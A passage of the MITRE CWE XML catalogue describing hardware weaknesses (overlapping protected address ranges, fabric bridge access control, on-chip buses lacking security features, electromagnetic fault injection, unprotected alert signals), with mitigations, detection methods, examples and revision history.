					<Impact>Bypass Protection Mechanism</Impact>
					<Impact>Read Memory</Impact>
					<Impact>Modify Memory</Impact>
					<Likelihood>Medium</Likelihood>
				</Consequence>
			</Common_Consequences>
			<Detection_Methods>
				<Detection_Method>
				<Method>Automated Dynamic Analysis</Method>
				<Description>Review address map in specification to see if there are any overlapping ranges.</Description>
				<Effectiveness>High</Effectiveness>
				</Detection_Method>
				<Detection_Method>
				<Method>Manual Static Analysis</Method>
				<Description>Negative testing of access control on overlapped ranges.</Description>
				<Effectiveness>High</Effectiveness>
				</Detection_Method>
			</Detection_Methods>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Architecture and Design</Phase>
					<Description>When architecting the address map of the chip, ensure that protected and unprotected ranges are isolated and do not overlap. When designing, ensure that ranges hardcoded in Register-Transfer Level (RTL) do not overlap.</Description>
				</Mitigation>
				<Mitigation>
					<Phase>Implementation</Phase>
					<Description>Ranges configured by firmware should not overlap. If overlaps are mandatory because of constraints such as a limited number of registers, then ensure that no assets are present in the overlapped portion.</Description>
				</Mitigation>
				<Mitigation>
					<Phase>Testing</Phase>
					<Description>Validate mitigation actions with robust testing.</Description>
				</Mitigation>
			</Potential_Mitigations>
			<Demonstrative_Examples>
				<Demonstrative_Example>
					<Intro_Text>An on-chip fabric supports a 64KB address space that is memory-mapped. The fabric has two range registers that support creation of two protected ranges with specific size constraints--4KB, 8KB, 16KB or 32KB. Assets that belong to user A require 4KB, and those of user B require 20KB.  Registers and other assets that are not security-sensitive require 40KB.  One range register is configured to program 4KB to protect user A's assets. Since a 20KB range cannot be created with the given size constraints, the range register for user B's assets is configured as 32KB. The rest of the address space is left as open. As a result, some part of untrusted and open-address space overlaps with user B range.  </Intro_Text>
					<Body_Text>The fabric does not support least privilege, and an attacker can send a transaction to the overlapping region to tamper with user B data.</Body_Text>
					<Body_Text>Since range B only requires 20KB but is allotted 32KB, there is 12KB of reserved space.  Overlapping this region of user B data, where there are no assets, with the untrusted space will prevent an attacker from tampering with user B data. </Body_Text>
				</Demonstrative_Example>
			</Demonstrative_Examples>
			<Observed_Examples>
				<Observed_Example>
					<Reference>CVE-2009-4419</Reference>
					<Description>Attacker can modify MCHBAR register to overlap with an attacker-controlled region, which modification prevents the SENTER instruction from properly applying VT-d protection while a Measured Launch Environment is being launched.</Description>
					<Link>https://www.cve.org/CVERecord?id=CVE-2009-4419</Link>
				</Observed_Example>
			</Observed_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="456"/>
            <Related_Attack_Pattern CAPEC_ID="679"/>
         </Related_Attack_Patterns>
         <References>
				<Reference External_Reference_ID="REF-1137"/>
			</References>
			<Notes>
			  <Note Type="Maintenance">As of CWE 4.6, CWE-1260 and CWE-1316 are siblings under view 1000, but CWE-1260 might be a parent of CWE-1316. More analysis is warranted.</Note>
			</Notes>
			<Content_History>
				<Submission>
					<Submission_Name>Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna</Submission_Name>
					<Submission_Organization>Intel Corporation</Submission_Organization>
					<Submission_Date>2020-06-01</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			</Content_History>
		</Weakness>
      <Weakness ID="1317" Name="Improper Access Control in Fabric Bridge" Abstraction="Base" Structure="Simple" Status="Draft">
			<Description>The product uses a fabric bridge for transactions between two Intellectual Property (IP) blocks, but the bridge does not properly perform the expected privilege, identity, or other access control checks between those IP blocks.</Description>
			<Extended_Description>
				<xhtml:p>In hardware designs, different IP blocks are connected through interconnect-bus fabrics (e.g. AHB and OCP). Within a System on Chip (SoC), the IP block subsystems could be using different bus protocols. In such a case, the IP blocks are then linked to the central bus (and to other IP blocks) through a fabric bridge. Bridges are used as bus-interconnect-routing modules that link different protocols or separate, different segments of the overall SoC interconnect.</xhtml:p>
				<xhtml:p>For overall system security, it is important that the access-control privileges associated with any fabric transaction are consistently maintained and applied, even when they are routed or translated by a fabric bridge. A bridge that is connected to a fabric without security features forwards transactions to the slave without checking the privilege level of the master and results in a weakness in SoC access-control security. The same weakness occurs if a bridge does not check the hardware identity of the transaction received from the slave interface of the bridge.</xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="284" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
			<Applicable_Platforms>	
				<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
				<Technology Name="Processor Hardware" Prevalence="Undetermined"/>
				<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
			</Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Architecture and Design</Phase>
				</Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Confidentiality</Scope>
					<Scope>Integrity</Scope>
					<Scope>Access Control</Scope>
					<Scope>Availability</Scope>
					<Impact>DoS: Crash, Exit, or Restart</Impact>
					<Impact>Bypass Protection Mechanism</Impact>
					<Impact>Read Memory</Impact>
					<Impact>Modify Memory</Impact>
					<Likelihood>Medium</Likelihood>
				</Consequence>
			</Common_Consequences>
			<Detection_Methods>
				<Detection_Method>
				<Method>Simulation / Emulation</Method>
				<Description>RTL simulation to ensure that bridge-access controls are implemented properly.</Description>
				<Effectiveness>High</Effectiveness>
				</Detection_Method>
				<Detection_Method>
				<Method>Formal Verification</Method>
				<Description>Formal verification of bridge RTL to ensure that access control cannot be bypassed. </Description>
				<Effectiveness>High</Effectiveness>
				</Detection_Method>
			</Detection_Methods>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Architecture and Design</Phase>
					<Description>Ensure that the design includes provisions for access-control checks in the bridge for both upstream and downstream transactions.</Description>
				</Mitigation>
				<Mitigation>
					<Phase>Implementation</Phase>
					<Description>Implement access-control checks in the bridge for both upstream and downstream transactions.</Description>
				</Mitigation>
			</Potential_Mitigations>
			<Demonstrative_Examples>
				<Demonstrative_Example>
					<Intro_Text>This example is from CVE-2019-6260 [REF-1138]. The iLPC2AHB bridge connects a CPU (with multiple, privilege levels, such as user, super user, debug, etc.) over AHB interface to an LPC bus. Several peripherals are connected to the LPC bus. The bridge is expected to check the privilege level of the transactions initiated in the core before forwarding them to the peripherals on the LPC bus. </Intro_Text>
					<Body_Text>The bridge does not implement the checks and allows reads and writes from all privilege levels. </Body_Text>
					<Body_Text>To address this, designers should implement hardware-based checks that are either hardcoded to block untrusted agents from accessing secure peripherals or implement firmware flows that configure the bridge to block untrusted agents from making arbitrary reads or writes.</Body_Text>
				</Demonstrative_Example>
			</Demonstrative_Examples>
			<Observed_Examples>
			  <Observed_Example>
			    <Reference>CVE-2019-6260</Reference>
			    <Description>Baseboard Management Controller (BMC) device implements Advanced High-performance Bus (AHB) bridges that do not require authentication for arbitrary read and write access to the BMC's physical address space from the host, and possibly the network [REF-1138].</Description>
			    <Link>https://www.cve.org/CVERecord?id=CVE-2019-6260</Link>
			  </Observed_Example>
			</Observed_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="122"/>
         </Related_Attack_Patterns>
         <References>
				<Reference External_Reference_ID="REF-1138"/>
			</References>
			<Content_History>
				<Submission>
					<Submission_Name>Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna</Submission_Name>
					<Submission_Organization>Intel Corporation</Submission_Organization>
					<Submission_Date>2020-05-19</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Description, Detection_Factors, Name, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2022-10-13">Missing Security Checks in Fabric Bridge</Previous_Entry_Name>
			</Content_History>
		</Weakness>
      <Weakness ID="1318" Name="Missing Support for Security Features in On-chip Fabrics or Buses" Abstraction="Base" Structure="Simple" Status="Incomplete">
			<Description> On-chip fabrics or buses either do not support or are not configured to support privilege separation or other security features, such as access control. </Description>
			<Extended_Description>
				<xhtml:p>Certain on-chip fabrics and buses, especially simple and low-power buses, do not support security features.  Apart from data transfer and addressing ports, some fabrics and buses do not have any interfaces to transfer privilege, immutable identity, or any other security attribute coming from the bus master.  Similarly, they do not have dedicated signals to transport security-sensitive data from slave to master, such as completions for certain types of transactions.  Few other on-chip fabrics and buses support security features and define specific interfaces/signals for transporting security attributes from master to slave or vice-versa.  However, including these signals is not mandatory and could be left unconfigured when generating the register-transfer-level (RTL) description for the fabric.  Such fabrics or buses should not be used to transport any security attribute coming from the bus master.  In general, peripherals with security assets should not be connected to such buses before the transaction from the bus master reaches the bus, unless some form of access control is performed at a fabric bridge or another intermediate module.</xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="693" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
			<Applicable_Platforms>	
				<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
				<Technology Name="Processor Hardware" Prevalence="Undetermined"/>
				<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
				</Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Architecture and Design</Phase>
				</Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Confidentiality</Scope>
					<Scope>Integrity</Scope>
					<Scope>Access Control</Scope>
					<Scope>Availability</Scope>
					<Impact>DoS: Crash, Exit, or Restart</Impact>
					<Impact>Read Memory</Impact>
					<Impact>Modify Memory</Impact>
					<Likelihood>Medium</Likelihood>
				</Consequence>
			</Common_Consequences>
			<Detection_Methods>
				<Detection_Method>
				<Method>Architecture or Design Review</Method>
				<Description>Review the fabric specification and ensure that it contains signals to transfer security-sensitive signals. </Description>
				<Effectiveness>High</Effectiveness>
				</Detection_Method>
				<Detection_Method>
				<Method>Manual Static Analysis - Source Code</Method>
				<Description>Lack of security features can also be confirmed through manual RTL review of the fabric RTL. </Description>
				<Effectiveness>High</Effectiveness>
				</Detection_Method>
			</Detection_Methods>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Architecture and Design</Phase>
					<Description>If fabric does not support security features, implement security checks in a bridge or any component that is between the master and the fabric.  Alternatively, connect all fabric slaves that do not have any security assets under one such fabric and connect peripherals with security assets to a different fabric that supports security features. </Description>
				</Mitigation>
			</Potential_Mitigations>
			
			<Demonstrative_Examples>
				<Demonstrative_Example>
					<Intro_Text>Several systems on chips (SoCs) use the Advanced-Microcontroller Bus Architecture (AMBA) Advanced-Peripheral Bus (APB) protocol.  APB is a simple, low-power bus and uses the PPROT[2:0] bits to indicate the security state of the bus masters ;PPROT[0] indicates privilege, PPROT[1] indicates secure/non-secure transaction, and PPROT[2] indicates instruction/data.  Assume that there is no fabric bridge in the SoC. One of the slaves, the power-management unit, contains registers that store the thermal-shutdown limits.</Intro_Text>
					<Body_Text>The APB bus is used to connect several bus masters, each with a unique and immutable hardware identity, to several slaves. For a CPU supporting 8 potential identities (each with varying privilege levels), 16 types of outgoing transactions can be made--8 read transactions with each supported privilege level and 8 write transactions with each supported privilege level.  </Body_Text>
					<Body_Text>Since APB PPROT can only support up to 8 transaction types, access-control checks cannot be performed on transactions going to the slaves at the right granularity for all possible transaction types.  Thus, potentially, user code running on the CPU could maliciously corrupt the thermal-shutdown-configuration registers to burn the device, resulting in permanent denial of service.  </Body_Text>
					<Body_Text>In this scenario, only peripherals that need access protection from 8 of the 16 possible transaction types can be connected to the APB bus. Peripherals that require protection from the remaining 8 transaction types can be connected to a different APB bus. Alternatively, a bridge could be implemented to handle such complex scenarios before forwarding traffic to the APB bus. </Body_Text>
				</Demonstrative_Example>
				<Demonstrative_Example>
					<Intro_Text>The Open-Core-Protocol (OCP) fabric supports two configurable, width-optional signals for transporting security attributes: MReqInfo and SRespInfo.  MReqInfo is used to transport security attributes from bus master to slave, and SRespInfo is used to transport security attributes from slave to bus master. An SoC uses OCP to connect several bus masters, each with a unique and immutable hardware identity, to several slaves.  One of the bus masters, the CPU, reports the privilege level (user or super user) in addition to the unique identity.  One of the slaves, the power-management unit, contains registers that store the thermal-shutdown limits.</Intro_Text>
					<Body_Text>Since MReqInfo and SRespInfo are not mandatory, these signals are not configured when autogenerating RTL for the OCP fabric.  Thus, the fabric cannot be used to transport security attributes from bus masters to slave. </Body_Text>
					<Body_Text>Code running at user-privilege level on the CPU could maliciously corrupt the thermal-shutdown-configuration registers to burn the device and cause permanent denial of service. </Body_Text>
					<Body_Text>To address this, configure the fabric to include MReqInfo and SRespInfo signals and use these to transport security identity and privilege level to perform access-control checks at the slave interface.</Body_Text>
				</Demonstrative_Example>
			</Demonstrative_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="1"/>
            <Related_Attack_Pattern CAPEC_ID="180"/>
         </Related_Attack_Patterns>
         <References>
				<Reference External_Reference_ID="REF-1139"/>
				<Reference External_Reference_ID="REF-1140"/>
			</References>
			<Content_History>
				<Submission>
					<Submission_Name>Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna</Submission_Name>
					<Submission_Organization>Intel Corporation</Submission_Organization>
					<Submission_Date>2020-05-20</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			</Content_History>
		</Weakness>
      <Weakness ID="1319" Name="Improper Protection against Electromagnetic Fault Injection (EM-FI)" Abstraction="Base" Structure="Simple" Status="Incomplete">
			<Description>The device is susceptible to electromagnetic fault injection attacks, causing device internal information to be compromised or security mechanisms to be bypassed.</Description>
			<Extended_Description>
				<xhtml:p>Electromagnetic fault injection may allow an attacker to locally and dynamically modify the signals (both internal and external) of an integrated circuit. EM-FI attacks consist of producing a local, transient magnetic field near the device, inducing current in the device wires. A typical EMFI setup is made up of a pulse injection circuit that generates a high current transient in an EMI coil, producing an abrupt magnetic pulse which couples to the target producing faults in the device, which can lead to:</xhtml:p>
				<xhtml:ul>
				<xhtml:li>Bypassing security mechanisms such as secure JTAG or Secure Boot</xhtml:li>
				<xhtml:li>Leaking device information</xhtml:li>
				<xhtml:li>Modifying program flow</xhtml:li>
				<xhtml:li>Perturbing secure hardware modules (e.g. random number generators)</xhtml:li>
				</xhtml:ul>
			</Extended_Description>
			<Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="693" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
			<Applicable_Platforms>
				<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
				<Technology Class="System on Chip" Prevalence="Undetermined"/>
				<Technology Name="Microcontroller Hardware" Prevalence="Undetermined"/>
				<Technology Name="Memory Hardware" Prevalence="Undetermined"/>
				<Technology Name="Power Management Hardware" Prevalence="Undetermined"/>
				<Technology Name="Processor Hardware" Prevalence="Undetermined"/>
				<Technology Name="Test/Debug Hardware" Prevalence="Undetermined"/>
				<Technology Name="Sensor Hardware" Prevalence="Undetermined"/>
			</Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Architecture and Design</Phase>
				</Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Confidentiality</Scope>
					<Scope>Integrity</Scope>
					<Scope>Access Control</Scope>
					<Scope>Availability</Scope>
					<Impact>Modify Memory</Impact>
					<Impact>Read Memory</Impact>
					<Impact>Gain Privileges or Assume Identity</Impact>
					<Impact>Bypass Protection Mechanism</Impact>
					<Impact>Execute Unauthorized Code or Commands</Impact>
				</Consequence>
			</Common_Consequences>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Architecture and Design</Phase>
					<Phase>Implementation</Phase>
					<Description>
					  <xhtml:ul>
						<xhtml:li>1. Redundancy - By replicating critical operations and comparing the two outputs can help indicate whether a fault has been injected.</xhtml:li>
						<xhtml:li>2. Error detection and correction codes - Gay, Mael, et al. proposed a new scheme that not only detects faults injected by a malicious adversary but also automatically corrects single nibble/byte errors introduced by low-multiplicity faults.</xhtml:li>
						<xhtml:li>3. Fail by default coding - When checking conditions (switch or if) check all possible cases and fail by default because the default case in a switch (or the else part of a cascaded if-else-if construct) is used for dealing with the last possible (and valid) value without checking. This is prone to fault injection because this alternative is easily selected as a result of potential data manipulation [REF-1141].</xhtml:li>
						<xhtml:li>4. Random Behavior - adding random delays before critical operations, so that timing is not predictable.</xhtml:li>
						<xhtml:li>5. Program Flow Integrity Protection - The program flow can be secured by integrating run-time checking aiming at detecting control flow inconsistencies. One such example is tagging the source code to indicate the points not to be bypassed [REF-1147].</xhtml:li>
						<xhtml:li>6. Sensors - Usage of sensors can detect variations in voltage and current.</xhtml:li>
						<xhtml:li>7. Shields - physical barriers to protect the chips from malicious manipulation.</xhtml:li>
					  </xhtml:ul>
					</Description>
				</Mitigation>
			</Potential_Mitigations>
			<Demonstrative_Examples>
				<Demonstrative_Example>
					<Intro_Text>In many devices, security related information is stored in fuses. These fuses are loaded into shadow registers at boot time. Disturbing this transfer phase with EM-FI can lead to the shadow registers storing erroneous values potentially resulting in reduced security.</Intro_Text>
					<Body_Text>Colin O'Flynn has demonstrated an attack scenario which uses electro-magnetic glitching during booting to bypass security and gain read access to flash, read and erase access to shadow memory area (where the private password is stored). Most devices in the MPC55xx and MPC56xx series that include the Boot Assist Module (BAM) (a serial or CAN bootloader mode) are susceptible to this attack. In this paper, a GM ECU was used as a real life target. While the success rate appears low (less than 2 percent), in practice a success can be found within 1-5 minutes once the EMFI tool is setup. In a practical scenario, the author showed that success can be achieved within 30-60 minutes from a cold start.</Body_Text>
				</Demonstrative_Example>
			</Demonstrative_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="624"/>
            <Related_Attack_Pattern CAPEC_ID="625"/>
         </Related_Attack_Patterns>
         <References>
				<Reference External_Reference_ID="REF-1141"/>
				<Reference External_Reference_ID="REF-1142"/>
				<Reference External_Reference_ID="REF-1143"/>
				<Reference External_Reference_ID="REF-1144"/>
				<Reference External_Reference_ID="REF-1145"/>
				<Reference External_Reference_ID="REF-1146"/>
				<Reference External_Reference_ID="REF-1147"/>
				<Reference External_Reference_ID="REF-1285"/>
			</References>
			<Notes>
			<Note Type="Maintenance">This entry is attack-oriented and may require significant modification in future versions, or even deprecation. It is not clear whether there is really a design "mistake" that enables such attacks, so this is not necessarily a weakness and may be more appropriate for CAPEC.</Note>
			</Notes>
			<Content_History>
				<Submission>
					<Submission_Name>Sebastien Leger, Rohini Narasipur</Submission_Name>
					<Submission_Organization>Bosch</Submission_Organization>
					<Submission_Date>2020-08-27</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
			</Content_History>
		</Weakness>
      <Weakness ID="132" Name="DEPRECATED: Miscalculated Null Termination" Abstraction="Base" Structure="Simple" Status="Deprecated">
         <Description>This entry has been deprecated because it was a duplicate of CWE-170. All content has been transferred to CWE-170.</Description>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-07-19</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Causal_Nature, Common_Consequences, Description, Likelihood_of_Exploit, Name, Relationships, Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Name</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-09-09">Miscalculated Null Termination</Previous_Entry_Name>
			<Previous_Entry_Name Date="2021-07-20">DEPRECATED (Duplicate): Miscalculated Null Termination</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="1320" Name="Improper Protection for Outbound Error Messages and Alert Signals" Abstraction="Base" Structure="Simple" Status="Draft">
			<Description>Untrusted agents can disable alerts about signal conditions exceeding limits or the response mechanism that handles such alerts.
			</Description>
			<Extended_Description>
				<xhtml:p>Hardware sensors are used to detect whether a device is operating within design limits. The threshold values for these limits are set by hardware fuses or trusted software such as a BIOS.  
				Modification of these limits may be protected by hardware mechanisms.</xhtml:p>
				<xhtml:p>When device sensors detect out of bound conditions, alert signals may be generated for remedial action, which may take the form of device shutdown or throttling.</xhtml:p>
				<xhtml:p>Warning signals that are not properly secured may be disabled or used to generate spurious alerts, causing degraded performance or denial-of-service (DoS).
				These alerts may be masked by untrusted software. Examples of these alerts involve thermal and power sensor alerts.</xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="284" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
			<Applicable_Platforms>
				<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
				<Technology Class="System on Chip" Prevalence="Undetermined"/>
				<Technology Name="Microcontroller Hardware" Prevalence="Undetermined"/>
				<Technology Name="Memory Hardware" Prevalence="Undetermined"/>
				<Technology Name="Power Management Hardware" Prevalence="Undetermined"/>
				<Technology Name="Processor Hardware" Prevalence="Undetermined"/>
				<Technology Name="Test/Debug Hardware" Prevalence="Undetermined"/>
				<Technology Name="Sensor Hardware" Prevalence="Undetermined"/>
			</Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Architecture and Design</Phase>
				</Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Availability</Scope>
					<Impact>DoS: Instability</Impact>
					<Impact>DoS: Crash, Exit, or Restart</Impact>
					<Impact>Reduce Reliability</Impact>
					<Impact>Unexpected State</Impact>
					<Likelihood>High</Likelihood>
				</Consequence>
			</Common_Consequences>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Architecture and Design</Phase>
					<Description>Alert signals generated by critical events should be protected from access by untrusted agents. Only hardware or trusted firmware modules should be able to alter the alert configuration.</Description>
				</Mitigation>
			</Potential_Mitigations>
			<Demonstrative_Examples>
				<Demonstrative_Example>
					<Intro_Text>
						<xhtml:p>Consider a platform design where a Digital-Thermal Sensor (DTS) is used to monitor temperature and compare that output against a threshold value.
							If the temperature output equals or exceeds the threshold value, the DTS unit sends an alert signal to the processor.</xhtml:p>
						<xhtml:p>The processor, upon getting the alert, input triggers system shutdown. The alert signal is handled as a General-Purpose-I/O (GPIO) pin in input mode.</xhtml:p>
					</Intro_Text>
					<Example_Code Nature="Bad">The processor-GPIO controller exposes software-programmable controls that allow untrusted software to reprogram the state of the GPIO pin.</Example_Code>
					<Body_Text>Reprogramming the state of the GPIO pin allows malicious software to trigger spurious alerts or to set the alert pin to a zero value so that thermal sensor alerts are not received by the processor.</Body_Text>
					<Example_Code Nature="Good">The GPIO alert-signal pin is blocked from untrusted software access and is controlled only by trusted software, such as the System BIOS.</Example_Code>
				</Demonstrative_Example>
			</Demonstrative_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="1"/>
            <Related_Attack_Pattern CAPEC_ID="180"/>
         </Related_Attack_Patterns>
         <Content_History>
				<Submission>
					<Submission_Name>Hareesh Khattri, Arun Kanuparthi, Parbati K. Manna</Submission_Name>
					<Submission_Organization>Intel Corporation</Submission_Organization>
					<Submission_Date>2020-05-29</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Name</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
